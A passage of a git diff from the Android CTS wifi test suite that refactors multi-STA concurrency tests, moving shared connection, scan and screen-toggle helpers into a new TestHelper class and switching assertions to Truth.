+     */
+    @Test
+    public void
+            testConnectToSuggestionFailureWithOemPaidNetCapabilityWhenConnectedToInternetNetwork()
+            throws Exception {
+        // First trigger internet connectivity.
+        mNetworkCallback = mTestHelper.testConnectionFlowWithConnect(
+                mTestNetworkForInternetConnection);
+
+        // Now trigger restricted connection.
+        WifiNetworkSuggestion suggestion =
+                TestHelper.createSuggestionBuilderWithCredentialFromSavedNetworkWithBssid(
+                        mTestNetworkForRestrictedConnection)
+                        .build();
+        mNsNetworkCallback = mTestHelper.testConnectionFailureFlowWithSuggestion(
+                mTestNetworkForRestrictedConnection, suggestion, mExecutorService,
+                NET_CAPABILITY_OEM_PAID);
+
+        // Ensure that there is only 1 connection available for apps.
+        assertThat(mTestHelper.getNumWifiConnections()).isEqualTo(1);
+    }
+
+    /**
+     * Tests the concurrent connection flow.
+     * 1. Connect to a network using internet connectivity API.
+     * 2. Simulate connection failure to a restricted network using suggestion API & restricted net
+     *    capability (need corresponding restricted bit set in suggestion for platform to connect).
+     * 3. Verify that only 1 connection is active.
+     */
+    @Test
+    public void
+        testConnectToSuggestionFailureWithOemPrivateNetCapabilityWhenConnectedToInternetNetwork()
+            throws Exception {
+        // First trigger internet connectivity.
+        mNetworkCallback = mTestHelper.testConnectionFlowWithConnect(
+                mTestNetworkForInternetConnection);
+
+        // Now trigger restricted connection.
+        WifiNetworkSuggestion suggestion =
+                TestHelper.createSuggestionBuilderWithCredentialFromSavedNetworkWithBssid(
+                        mTestNetworkForRestrictedConnection)
+                        .build();
+        mNsNetworkCallback = mTestHelper.testConnectionFailureFlowWithSuggestion(
+                mTestNetworkForRestrictedConnection, suggestion, mExecutorService,
+                NET_CAPABILITY_OEM_PRIVATE);
+
+        // Ensure that there is only 1 connection available for apps.
+        assertThat(mTestHelper.getNumWifiConnections()).isEqualTo(1);
+    }
+}
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/MultiStaConcurrencyWifiNetworkSpecifierTest.java b/tests/tests/wifi/src/android/net/wifi/cts/MultiStaConcurrencyWifiNetworkSpecifierTest.java
index 0c12dcd..c65c214 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/MultiStaConcurrencyWifiNetworkSpecifierTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/MultiStaConcurrencyWifiNetworkSpecifierTest.java
@@ -16,39 +16,23 @@
 
 package android.net.wifi.cts;
 
-import static android.net.NetworkCapabilitiesProto.NET_CAPABILITY_INTERNET;
-import static android.net.NetworkCapabilitiesProto.TRANSPORT_WIFI;
 import static android.os.Process.myUid;
 
 import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
 
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
 import static org.junit.Assume.assumeTrue;
 
-import android.annotation.NonNull;
-import android.app.UiAutomation;
 import android.content.Context;
 import android.content.pm.PackageManager;
 import android.location.LocationManager;
 import android.net.ConnectivityManager;
-import android.net.LinkProperties;
-import android.net.MacAddress;
-import android.net.Network;
-import android.net.NetworkCapabilities;
 import android.net.NetworkRequest;
-import android.net.wifi.ScanResult;
 import android.net.wifi.WifiConfiguration;
-import android.net.wifi.WifiInfo;
 import android.net.wifi.WifiManager;
-import android.net.wifi.WifiManager.NetworkRequestMatchCallback;
 import android.net.wifi.WifiNetworkSpecifier;
-import android.os.WorkSource;
 import android.platform.test.annotations.AppModeFull;
 import android.support.test.uiautomator.UiDevice;
-import android.text.TextUtils;
 
 import androidx.test.filters.SdkSuppress;
 import androidx.test.filters.SmallTest;
@@ -57,8 +41,6 @@
 
 import com.android.compatibility.common.util.PollingCheck;
 import com.android.compatibility.common.util.ShellIdentityUtils;
-import com.android.compatibility.common.util.SystemUtil;
-
 
 import org.junit.After;
 import org.junit.AfterClass;
@@ -67,13 +49,7 @@
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.Collections;
 import java.util.List;
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.Executors;
-import java.util.concurrent.TimeUnit;
 
 /**
  * Tests multiple concurrent connection flow on devices that support multi STA concurrency
@@ -107,8 +83,9 @@
     private UiDevice mUiDevice;
     private WifiConfiguration mTestNetworkForPeerToPeer;
     private WifiConfiguration mTestNetworkForInternetConnection;
-    private TestNetworkCallback mNetworkCallback;
-    private TestNetworkCallback mNrNetworkCallback;
+    private ConnectivityManager.NetworkCallback mNetworkCallback;
+    private ConnectivityManager.NetworkCallback mNrNetworkCallback;
+    private TestHelper mTestHelper;
 
     private static final int DURATION = 10_000;
     private static final int DURATION_UI_INTERACTION = 25_000;
@@ -123,7 +100,7 @@
         if (!WifiFeature.isWifiSupported(context)) return;
 
         WifiManager wifiManager = context.getSystemService(WifiManager.class);
-        assertNotNull(wifiManager);
+        assertThat(wifiManager).isNotNull();
 
         // turn on verbose logging for tests
         sWasVerboseLoggingEnabled = ShellIdentityUtils.invokeWithShellPermissions(
@@ -139,7 +116,9 @@
         // enable Wifi
         sWasWifiEnabled = ShellIdentityUtils.invokeWithShellPermissions(
                 () -> wifiManager.isWifiEnabled());
-        if (!wifiManager.isWifiEnabled()) setWifiEnabled(true);
+        if (!wifiManager.isWifiEnabled()) {
+            ShellIdentityUtils.invokeWithShellPermissions(() -> wifiManager.setWifiEnabled(true));
+        }
         PollingCheck.check("Wifi not enabled", DURATION, () -> wifiManager.isWifiEnabled());
     }
 
@@ -149,7 +128,7 @@
         if (!WifiFeature.isWifiSupported(context)) return;
 
         WifiManager wifiManager = context.getSystemService(WifiManager.class);
-        assertNotNull(wifiManager);
+        assertThat(wifiManager).isNotNull();
 
         ShellIdentityUtils.invokeWithShellPermissions(
                 () -> wifiManager.setScanThrottleEnabled(sWasScanThrottleEnabled));
@@ -165,6 +144,7 @@
         mWifiManager = mContext.getSystemService(WifiManager.class);
         mConnectivityManager = mContext.getSystemService(ConnectivityManager.class);
         mUiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+        mTestHelper = new TestHelper(mContext, mUiDevice);
 
         // skip the test if WiFi is not supported
         assumeTrue(WifiFeature.isWifiSupported(mContext));
@@ -173,11 +153,12 @@
         // skip if multi STA not supported.
         assumeTrue(mWifiManager.isMultiStaConcurrencySupported());
 
-        assertTrue("Please enable location for this test!",
-                mContext.getSystemService(LocationManager.class).isLocationEnabled());
+        assertWithMessage("Please enable location for this test!")
+                .that(mContext.getSystemService(LocationManager.class).isLocationEnabled())
+                .isTrue();
 
         // turn screen on
-        turnScreenOn();
+        mTestHelper.turnScreenOn();
 
         // Clear any existing app state before each test.
         ShellIdentityUtils.invokeWithShellPermissions(
@@ -189,12 +170,17 @@
         List<WifiConfiguration> savedNetworks = ShellIdentityUtils.invokeWithShellPermissions(
                 () -> mWifiManager.getPrivilegedConfiguredNetworks());
         List<WifiConfiguration> matchingNetworksWithBssid =
-                findMatchingSavedNetworksWithBssid(mWifiManager, savedNetworks);
-        assertTrue("Need at least 2 saved network bssids in range",
-                matchingNetworksWithBssid.size() >= 2);
+                TestHelper.findMatchingSavedNetworksWithBssid(mWifiManager, savedNetworks);
+        assertWithMessage("Need at least 2 saved network bssids in range")
+                .that(matchingNetworksWithBssid.size()).isAtLeast(2);
         // Pick any 2 bssid for test.
         mTestNetworkForPeerToPeer = matchingNetworksWithBssid.get(0);
-        mTestNetworkForInternetConnection = matchingNetworksWithBssid.get(1);
+        // Try to find a bssid for another saved network in range. If none exists, fallback
+        // to using 2 bssid's for the same network.
+        mTestNetworkForInternetConnection = matchingNetworksWithBssid.stream()
+                .filter(w -> !w.SSID.equals(mTestNetworkForPeerToPeer.SSID))
+                .findAny()
+                .orElse(matchingNetworksWithBssid.get(1));
 
         // Disconnect & disable auto-join on the saved network to prevent auto-connect from
         // interfering with the test.
@@ -232,394 +218,19 @@
         // Clear any existing app state after each test.
         ShellIdentityUtils.invokeWithShellPermissions(
                 () -> mWifiManager.removeAppState(myUid(), mContext.getPackageName()));
-        turnScreenOff();
-    }
-
-    private static void setWifiEnabled(boolean enable) throws Exception {
-        // now trigger the change using shell commands.
-        SystemUtil.runShellCommand("svc wifi " + (enable ? "enable" : "disable"));
-    }
-
-    private void turnScreenOn() throws Exception {
-        mUiDevice.executeShellCommand("input keyevent KEYCODE_WAKEUP");
-        mUiDevice.executeShellCommand("wm dismiss-keyguard");
-        // Since the screen on/off intent is ordered, they will not be sent right now.
-        Thread.sleep(DURATION_SCREEN_TOGGLE);
-    }
-
-    private void turnScreenOff() throws Exception {
-        mUiDevice.executeShellCommand("input keyevent KEYCODE_SLEEP");
-        // Since the screen on/off intent is ordered, they will not be sent right now.
-        Thread.sleep(DURATION_SCREEN_TOGGLE);
-    }
-
-    private static class TestScanResultsCallback extends WifiManager.ScanResultsCallback {
-        private final CountDownLatch mCountDownLatch;
-        public boolean onAvailableCalled = false;
-
-        TestScanResultsCallback(CountDownLatch countDownLatch) {
-            mCountDownLatch = countDownLatch;
-        }
-
-        @Override
-        public void onScanResultsAvailable() {
-            onAvailableCalled = true;
-            mCountDownLatch.countDown();
-        }
-    }
-
-    /**
-     * Loops through all the saved networks available in the scan results. Returns a list of
-     * WifiConfiguration with the matching bssid filled in {@link WifiConfiguration#BSSID}.
-     *
-     * Note:
-     * a) If there are more than 2 networks with the same SSID, but different credential type, then
-     * this matching may pick the wrong one.
-     */
-    private static List<WifiConfiguration> findMatchingSavedNetworksWithBssid(
-            @NonNull WifiManager wifiManager, @NonNull List<WifiConfiguration> savedNetworks) {
-        if (savedNetworks.isEmpty()) return Collections.emptyList();
-        List<WifiConfiguration> matchingNetworksWithBssids = new ArrayList<>();
-        CountDownLatch countDownLatch = new CountDownLatch(1);
-        for (int i = 0; i < SCAN_RETRY_CNT_TO_FIND_MATCHING_BSSID; i++) {
-            // Trigger a scan to get fresh scan results.
-            TestScanResultsCallback scanResultsCallback =
-                    new TestScanResultsCallback(countDownLatch);
-            try {
-                wifiManager.registerScanResultsCallback(
-                        Executors.newSingleThreadExecutor(), scanResultsCallback);
-                wifiManager.startScan(new WorkSource(myUid()));
-                // now wait for callback
-                assertTrue(countDownLatch.await(
-                        DURATION_NETWORK_CONNECTION, TimeUnit.MILLISECONDS));
-            } catch (InterruptedException e) {
-            } finally {
-                wifiManager.unregisterScanResultsCallback(scanResultsCallback);
-            }
-            List<ScanResult> scanResults = wifiManager.getScanResults();
-            if (scanResults == null || scanResults.isEmpty()) fail("No scan results available");
-            for (ScanResult scanResult : scanResults) {
-                WifiConfiguration matchingNetwork = savedNetworks.stream()
-                        .filter(network -> TextUtils.equals(
-                                scanResult.SSID, removeDoubleQuotes(network.SSID)))
-                        .findAny()
-                        .orElse(null);
-                if (matchingNetwork != null) {
-                    // make a copy in case we have 2 bssid's for the same network.
-                    WifiConfiguration matchingNetworkCopy = new WifiConfiguration(matchingNetwork);
-                    matchingNetworkCopy.BSSID = scanResult.BSSID;
-                    matchingNetworksWithBssids.add(matchingNetworkCopy);
-                }
-            }
-            if (!matchingNetworksWithBssids.isEmpty()) break;
-        }
-        return matchingNetworksWithBssids;
-    }
-
-    private void assertConnectionEquals(@NonNull WifiConfiguration network,
-            @NonNull WifiInfo wifiInfo) {
-        assertEquals(network.SSID, wifiInfo.getSSID());
-        assertEquals(network.BSSID, wifiInfo.getBSSID());
-    }
-
-    private static class TestNetworkCallback extends ConnectivityManager.NetworkCallback {
-        private final CountDownLatch mCountDownLatch;
-        public boolean onAvailableCalled = false;
-        public boolean onUnavailableCalled = false;
-        public NetworkCapabilities networkCapabilities;
-
-        TestNetworkCallback(CountDownLatch countDownLatch) {
-            mCountDownLatch = countDownLatch;
-        }
-
-        @Override
-        public void onAvailable(Network network, NetworkCapabilities networkCapabilities,
-                LinkProperties linkProperties, boolean blocked) {
-            onAvailableCalled = true;
-            this.networkCapabilities = networkCapabilities;
-            mCountDownLatch.countDown();
-        }
-
-        @Override
-        public void onUnavailable() {
-            onUnavailableCalled = true;
-            mCountDownLatch.countDown();
-        }
-    }
-
-    private static class TestNetworkRequestMatchCallback implements NetworkRequestMatchCallback {
-        private final Object mLock;
-
-        public boolean onRegistrationCalled = false;
-        public boolean onAbortCalled = false;
-        public boolean onMatchCalled = false;
-        public boolean onConnectSuccessCalled = false;
-        public boolean onConnectFailureCalled = false;
-        public WifiManager.NetworkRequestUserSelectionCallback userSelectionCallback = null;
-        public List<ScanResult> matchedScanResults = null;
-
-        TestNetworkRequestMatchCallback(Object lock) {
-            mLock = lock;
-        }
-
-        @Override
-        public void onUserSelectionCallbackRegistration(
-                WifiManager.NetworkRequestUserSelectionCallback userSelectionCallback) {
-            synchronized (mLock) {
-                onRegistrationCalled = true;
-                this.userSelectionCallback = userSelectionCallback;
-                mLock.notify();
-            }
-        }
-
-        @Override
-        public void onAbort() {
-            synchronized (mLock) {
-                onAbortCalled = true;
-                mLock.notify();
-            }
-        }
-
-        @Override
-        public void onMatch(List<ScanResult> scanResults) {
-            synchronized (mLock) {
-                // This can be invoked multiple times. So, ignore after the first one to avoid
-                // disturbing the rest of the test sequence.
-                if (onMatchCalled) return;
-                onMatchCalled = true;
-                matchedScanResults = scanResults;
-                mLock.notify();
-            }
-        }
-
-        @Override
-        public void onUserSelectionConnectSuccess(WifiConfiguration config) {
-            synchronized (mLock) {
-                onConnectSuccessCalled = true;
-                mLock.notify();
-            }
-        }
-
-        @Override
-        public void onUserSelectionConnectFailure(WifiConfiguration config) {
-            synchronized (mLock) {
-                onConnectFailureCalled = true;
-                mLock.notify();
-            }
-        }
-    }
-
-    private void handleUiInteractions(WifiConfiguration network, boolean shouldUserReject) {
-        // can't use CountDownLatch since there are many callbacks expected and CountDownLatch
-        // cannot be reset.
-        // TODO(b/177591382): Use ArrayBlockingQueue/LinkedBlockingQueue
-        Object uiLock = new Object();
-        UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
-        TestNetworkRequestMatchCallback networkRequestMatchCallback =
-                new TestNetworkRequestMatchCallback(uiLock);
-        try {
-            uiAutomation.adoptShellPermissionIdentity();
-
-            // 1. Wait for registration callback.
-            synchronized (uiLock) {
-                try {
-                    mWifiManager.registerNetworkRequestMatchCallback(
-                            Executors.newSingleThreadExecutor(), networkRequestMatchCallback);
-                    uiLock.wait(DURATION_UI_INTERACTION);
-                } catch (InterruptedException e) {
-                }
-            }
-            assertTrue(networkRequestMatchCallback.onRegistrationCalled);
-            assertNotNull(networkRequestMatchCallback.userSelectionCallback);
-
-            // 2. Wait for matching scan results
-            synchronized (uiLock) {
-                try {
-                    uiLock.wait(DURATION_UI_INTERACTION);
-                } catch (InterruptedException e) {
-                }
-            }
-            assertTrue(networkRequestMatchCallback.onMatchCalled);
-            assertNotNull(networkRequestMatchCallback.matchedScanResults);
-            assertThat(networkRequestMatchCallback.matchedScanResults.size()).isAtLeast(1);
-
-            // 3. Trigger connection to one of the matched networks or reject the request.
-            if (shouldUserReject) {
-                networkRequestMatchCallback.userSelectionCallback.reject();
-            } else {
-                networkRequestMatchCallback.userSelectionCallback.select(network);
-            }
-
-            // 4. Wait for connection success or abort.
-            synchronized (uiLock) {
-                try {
-                    uiLock.wait(DURATION_UI_INTERACTION);
-                } catch (InterruptedException e) {
-                }
-            }
-            if (shouldUserReject) {
-                assertTrue(networkRequestMatchCallback.onAbortCalled);
-            } else {
-                assertTrue(networkRequestMatchCallback.onConnectSuccessCalled);
-            }
-        } finally {
-            mWifiManager.unregisterNetworkRequestMatchCallback(networkRequestMatchCallback);
-            uiAutomation.dropShellPermissionIdentity();
-        }
-    }
-
-
-    /**
-     * Tests the entire connection flow using the provided specifier.
-     *
-     * @param specifier Specifier to use for network request.
-     * @param shouldUserReject Whether to simulate user rejection or not.
-     */
-    private void testConnectionFlowWithSpecifier(
-            WifiConfiguration network, WifiNetworkSpecifier specifier, boolean shouldUserReject) {
-        CountDownLatch countDownLatch = new CountDownLatch(1);
-        // Fork a thread to handle the UI interactions.
-        Thread uiThread = new Thread(() -> handleUiInteractions(network, shouldUserReject));
-
-        // File the network request & wait for the callback.
-        mNrNetworkCallback = new TestNetworkCallback(countDownLatch);
-        try {
-            // File a request for wifi network.
-            mConnectivityManager.requestNetwork(
-                    new NetworkRequest.Builder()
-                            .addTransportType(TRANSPORT_WIFI)
-                            .removeCapability(NET_CAPABILITY_INTERNET)
-                            .setNetworkSpecifier(specifier)
-                            .build(),
-                    mNrNetworkCallback);
-            // Wait for the request to reach the wifi stack before kick-starting the UI
-            // interactions.
-            Thread.sleep(100);
-            // Start the UI interactions.
-            uiThread.run();
-            // now wait for callback
-            assertTrue(countDownLatch.await(DURATION_NETWORK_CONNECTION, TimeUnit.MILLISECONDS));
-        } catch (InterruptedException e) {
-        }
-        if (shouldUserReject) {
-            assertTrue(mNrNetworkCallback.onUnavailableCalled);
-        } else {
-            assertTrue(mNrNetworkCallback.onAvailableCalled);
-            assertConnectionEquals(
-                    network, (WifiInfo) mNrNetworkCallback.networkCapabilities.getTransportInfo());
-        }
-
-        try {
-            // Ensure that the UI interaction thread has completed.
-            uiThread.join(DURATION_UI_INTERACTION);
-        } catch (InterruptedException e) {
-            fail("UI interaction interrupted");
-        }
+        mTestHelper.turnScreenOff();
     }
 
     private void testSuccessfulConnectionWithSpecifier(
             WifiConfiguration network, WifiNetworkSpecifier specifier) {
-        testConnectionFlowWithSpecifier(network, specifier, false);
+        mNrNetworkCallback = mTestHelper.testConnectionFlowWithSpecifier(
+                network, specifier, false);
     }
 
     private void testUserRejectionWithSpecifier(
             WifiConfiguration network, WifiNetworkSpecifier specifier) {
-        testConnectionFlowWithSpecifier(network, specifier, true);
-    }
-
-    private static String removeDoubleQuotes(String string) {
-        return WifiInfo.sanitizeSsid(string);
-    }
-
-    private static class TestActionListener implements WifiManager.ActionListener {
-        private final CountDownLatch mCountDownLatch;
-        public boolean onSuccessCalled = false;
-        public boolean onFailedCalled = false;
-        public int failureReason = -1;
-
-        TestActionListener(CountDownLatch countDownLatch) {
-            mCountDownLatch = countDownLatch;
-        }
-
-        @Override
-        public void onSuccess() {
-            onSuccessCalled = true;
-            mCountDownLatch.countDown();
-        }
-
-        @Override
-        public void onFailure(int reason) {
-            onFailedCalled = true;
-            mCountDownLatch.countDown();
-        }
-    }
-
-    /**
-     * Triggers connection to one of the saved networks using {@link WifiManager#connect(
-     * WifiConfiguration, WifiManager.ActionListener)}
-     */
-    private void testConnectionFlowWithConnect(@NonNull WifiConfiguration network) {
-        CountDownLatch countDownLatchAl = new CountDownLatch(1);
-        CountDownLatch countDownLatchNr = new CountDownLatch(1);
-        TestActionListener actionListener = new TestActionListener(countDownLatchAl);
-        mNetworkCallback = new TestNetworkCallback(countDownLatchNr);
-        UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
-        try {
-            uiAutomation.adoptShellPermissionIdentity();
-            // File a callback for wifi network.
-            mConnectivityManager.registerNetworkCallback(
-                    new NetworkRequest.Builder()
-                            .addTransportType(TRANSPORT_WIFI)
-                            .addCapability(NET_CAPABILITY_INTERNET)
-                            .build(),
-                    mNetworkCallback);
-            // Trigger the connection.
-            mWifiManager.connect(network, actionListener);
-            // now wait for action listener callback
-            assertTrue(countDownLatchAl.await(DURATION_NETWORK_CONNECTION, TimeUnit.MILLISECONDS));
-            // check if we got the success callback
-            assertTrue(actionListener.onSuccessCalled);
-
-            // Wait for connection to complete & ensure we are connected to the saved network.
-            assertTrue(countDownLatchNr.await(DURATION_NETWORK_CONNECTION, TimeUnit.MILLISECONDS));
-            assertTrue(mNetworkCallback.onAvailableCalled);
-            assertConnectionEquals(
-                    network, (WifiInfo) mNetworkCallback.networkCapabilities.getTransportInfo());
-        } catch (InterruptedException e) {
-        } finally {
-            uiAutomation.dropShellPermissionIdentity();
-        }
-    }
-
-    private static WifiNetworkSpecifier.Builder
-            createSpecifierBuilderWithCredentialFromSavedNetworkWithBssid(
-            @NonNull WifiConfiguration network) {
-        WifiNetworkSpecifier.Builder specifierBuilder = new WifiNetworkSpecifier.Builder()
-                .setSsid(removeDoubleQuotes(network.SSID))
-                .setBssid(MacAddress.fromString(network.BSSID));
-        if (network.preSharedKey != null) {
-            if (network.allowedKeyManagement.get(WifiConfiguration.KeyMgmt.WPA_PSK)) {
-                specifierBuilder.setWpa2Passphrase(removeDoubleQuotes(network.preSharedKey));
-            } else if (network.allowedKeyManagement.get(WifiConfiguration.KeyMgmt.SAE)) {
-                specifierBuilder.setWpa3Passphrase(removeDoubleQuotes(network.preSharedKey));
-            } else {
-                fail("Unsupported security type found in saved networks");
-            }
-        } else if (network.allowedKeyManagement.get(WifiConfiguration.KeyMgmt.OWE)) {
-            specifierBuilder.setIsEnhancedOpen(true);
-        } else if (!network.allowedKeyManagement.get(WifiConfiguration.KeyMgmt.NONE)) {
-            fail("Unsupported security type found in saved networks");
-        }
-        specifierBuilder.setIsHiddenSsid(network.hiddenSSID);
-        return specifierBuilder;
-    }
-
-    private long getNumWifiConnections() {
-        Network[] networks = mConnectivityManager.getAllNetworks();
-        return Arrays.stream(networks)
-                .filter(n ->
-                        mConnectivityManager.getNetworkCapabilities(n).hasTransport(TRANSPORT_WIFI))
-                .count();
+        mNrNetworkCallback = mTestHelper.testConnectionFlowWithSpecifier(
+                network, specifier, true);
     }
 
     /**
@@ -631,17 +242,18 @@
     @Test
     public void testConnectToPeerPeerNetworkWhenConnectedToInternetNetwork() throws Exception {
         // First trigger internet connectivity.
-        testConnectionFlowWithConnect(mTestNetworkForInternetConnection);
+        mNetworkCallback = mTestHelper.testConnectionFlowWithConnect(
+                mTestNetworkForInternetConnection);
 
         // Now trigger peer to peer connectivity.
         WifiNetworkSpecifier specifier =
-                createSpecifierBuilderWithCredentialFromSavedNetworkWithBssid(
+                TestHelper.createSpecifierBuilderWithCredentialFromSavedNetworkWithBssid(
                         mTestNetworkForPeerToPeer)
                 .build();
         testSuccessfulConnectionWithSpecifier(mTestNetworkForPeerToPeer, specifier);
 
         // Ensure that there are 2 wifi connections available for apps.
-        assertEquals(2, getNumWifiConnections());
+        assertThat(mTestHelper.getNumWifiConnections()).isEqualTo(2);
     }
 
     /**
@@ -654,16 +266,17 @@
     public void testConnectToInternetNetworkWhenConnectedToPeerPeerNetwork() throws Exception {
         // First trigger peer to peer connectivity.
         WifiNetworkSpecifier specifier =
-                createSpecifierBuilderWithCredentialFromSavedNetworkWithBssid(
+                TestHelper.createSpecifierBuilderWithCredentialFromSavedNetworkWithBssid(
                         mTestNetworkForPeerToPeer)
                         .build();
         testSuccessfulConnectionWithSpecifier(mTestNetworkForPeerToPeer, specifier);
 
         // Now trigger internet connectivity.
-        testConnectionFlowWithConnect(mTestNetworkForInternetConnection);
+        mNetworkCallback = mTestHelper.testConnectionFlowWithConnect(
+                mTestNetworkForInternetConnection);
 
         // Ensure that there are 2 wifi connections available for apps.
-        assertEquals(2, getNumWifiConnections());
+        assertThat(mTestHelper.getNumWifiConnections()).isEqualTo(2);
     }
 
     /**
@@ -675,16 +288,17 @@
     @Test
     public void testPeerToPeerConnectionRejectWhenConnectedToInternetNetwork() throws Exception {
         // First trigger internet connectivity.
-        testConnectionFlowWithConnect(mTestNetworkForInternetConnection);
+        mNetworkCallback = mTestHelper.testConnectionFlowWithConnect(
+                mTestNetworkForInternetConnection);
 
         // Now trigger peer to peer connectivity.
         WifiNetworkSpecifier specifier =
-                createSpecifierBuilderWithCredentialFromSavedNetworkWithBssid(
+                TestHelper.createSpecifierBuilderWithCredentialFromSavedNetworkWithBssid(
                         mTestNetworkForPeerToPeer)
                         .build();
         testUserRejectionWithSpecifier(mTestNetworkForPeerToPeer, specifier);
 
         // Ensure that there is only 1 wifi connection available for apps.
-        assertEquals(1, getNumWifiConnections());
+        assertThat(mTestHelper.getNumWifiConnections()).isEqualTo(1);
     }
 }
\ No newline at end of file
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/TestHelper.java b/tests/tests/wifi/src/android/net/wifi/cts/TestHelper.java
new file mode 100644
index 0000000..0cb6f23
--- /dev/null
+++ b/tests/tests/wifi/src/android/net/wifi/cts/TestHelper.java
@@ -0,0 +1,622 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.net.wifi.cts;
+
+import static android.net.NetworkCapabilities.NET_CAPABILITY_INTERNET;
+import static android.net.NetworkCapabilities.NET_CAPABILITY_OEM_PAID;
+import static android.net.NetworkCapabilities.NET_CAPABILITY_OEM_PRIVATE;
+import static android.net.NetworkCapabilities.TRANSPORT_WIFI;
+import static android.os.Process.myUid;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.junit.Assert.fail;
+
+import android.annotation.NonNull;
+import android.annotation.Nullable;
+import android.app.UiAutomation;
+import android.content.Context;
+import android.net.ConnectivityManager;
+import android.net.LinkProperties;
+import android.net.MacAddress;
+import android.net.Network;
+import android.net.NetworkCapabilities;
+import android.net.NetworkCapabilitiesProto;
+import android.net.NetworkRequest;
+import android.net.wifi.ScanResult;
+import android.net.wifi.WifiConfiguration;
+import android.net.wifi.WifiInfo;
+import android.net.wifi.WifiManager;
+import android.net.wifi.WifiNetworkSpecifier;
+import android.net.wifi.WifiNetworkSuggestion;
+import android.os.WorkSource;
+import android.support.test.uiautomator.UiDevice;
+import android.text.TextUtils;
+import android.util.Log;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.Executors;
+import java.util.concurrent.ScheduledExecutorService;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Class to hold helper methods that are repeated across wifi CTS tests.
+ */
+public class TestHelper {
+    private static final String TAG = "WifiTestHelper";
+
+    private final Context mContext;
+    private final WifiManager mWifiManager;
+    private final ConnectivityManager mConnectivityManager;
+    private final UiDevice mUiDevice;
+
+    private static final int DURATION_MILLIS = 10_000;
+    private static final int DURATION_NETWORK_CONNECTION_MILLIS = 60_000;
+    private static final int DURATION_SCREEN_TOGGLE_MILLIS = 2000;
+    private static final int DURATION_UI_INTERACTION_MILLIS = 25_000;
+    private static final int SCAN_RETRY_CNT_TO_FIND_MATCHING_BSSID = 3;
+
+    public TestHelper(@NonNull Context context, @NonNull UiDevice uiDevice) {
+        mContext = context;
+        mWifiManager = context.getSystemService(WifiManager.class);
+        mConnectivityManager = context.getSystemService(ConnectivityManager.class);
+        mUiDevice = uiDevice;
+    }
+
+    public void turnScreenOn() throws Exception {
+        mUiDevice.executeShellCommand("input keyevent KEYCODE_WAKEUP");
+        mUiDevice.executeShellCommand("wm dismiss-keyguard");
+        // Since the screen on/off intent is ordered, they will not be sent right now.
+        Thread.sleep(DURATION_SCREEN_TOGGLE_MILLIS);
+    }
+
+    public void turnScreenOff() throws Exception {
+        mUiDevice.executeShellCommand("input keyevent KEYCODE_SLEEP");
+        // Since the screen on/off intent is ordered, they will not be sent right now.
+        Thread.sleep(DURATION_SCREEN_TOGGLE_MILLIS);
+    }
+
+    private static class TestScanResultsCallback extends WifiManager.ScanResultsCallback {
+        private final CountDownLatch mCountDownLatch;
+        public boolean onAvailableCalled = false;
+
+        TestScanResultsCallback(CountDownLatch countDownLatch) {
+            mCountDownLatch = countDownLatch;
+        }
+
+        @Override
+        public void onScanResultsAvailable() {
+            onAvailableCalled = true;
+            mCountDownLatch.countDown();
+        }
+    }
+
+    /**
+     * Loops through all the saved networks available in the scan results. Returns a list of
+     * WifiConfiguration with the matching bssid filled in {@link WifiConfiguration#BSSID}.
+     *
+     * Note:
+     * a) If there are more than 2 networks with the same SSID, but different credential type, then
+     * this matching may pick the wrong one.
+     *
+     * @param wifiManager WifiManager service
+     * @param savedNetworks List of saved networks on the device.
+     */
+    public static List<WifiConfiguration> findMatchingSavedNetworksWithBssid(
+            @NonNull WifiManager wifiManager, @NonNull List<WifiConfiguration> savedNetworks) {
+        if (savedNetworks.isEmpty()) return Collections.emptyList();
+        List<WifiConfiguration> matchingNetworksWithBssids = new ArrayList<>();
+        CountDownLatch countDownLatch = new CountDownLatch(1);
+        for (int i = 0; i < SCAN_RETRY_CNT_TO_FIND_MATCHING_BSSID; i++) {
+            // Trigger a scan to get fresh scan results.
+            TestScanResultsCallback scanResultsCallback =
+                    new TestScanResultsCallback(countDownLatch);
+            try {
+                wifiManager.registerScanResultsCallback(
+                        Executors.newSingleThreadExecutor(), scanResultsCallback);
+                wifiManager.startScan(new WorkSource(myUid()));
+                // now wait for callback
+                assertThat(countDownLatch.await(
+                        DURATION_NETWORK_CONNECTION_MILLIS, TimeUnit.MILLISECONDS)).isTrue();
+            } catch (InterruptedException e) {
+            } finally {
+                wifiManager.unregisterScanResultsCallback(scanResultsCallback);
+            }
+            List<ScanResult> scanResults = wifiManager.getScanResults();
+            if (scanResults == null || scanResults.isEmpty()) fail("No scan results available");
+            for (ScanResult scanResult : scanResults) {
+                WifiConfiguration matchingNetwork = savedNetworks.stream()
+                        .filter(network -> TextUtils.equals(
+                                scanResult.SSID, WifiInfo.sanitizeSsid(network.SSID)))
+                        .findAny()
+                        .orElse(null);
+                if (matchingNetwork != null) {
+                    // make a copy in case we have 2 bssid's for the same network.
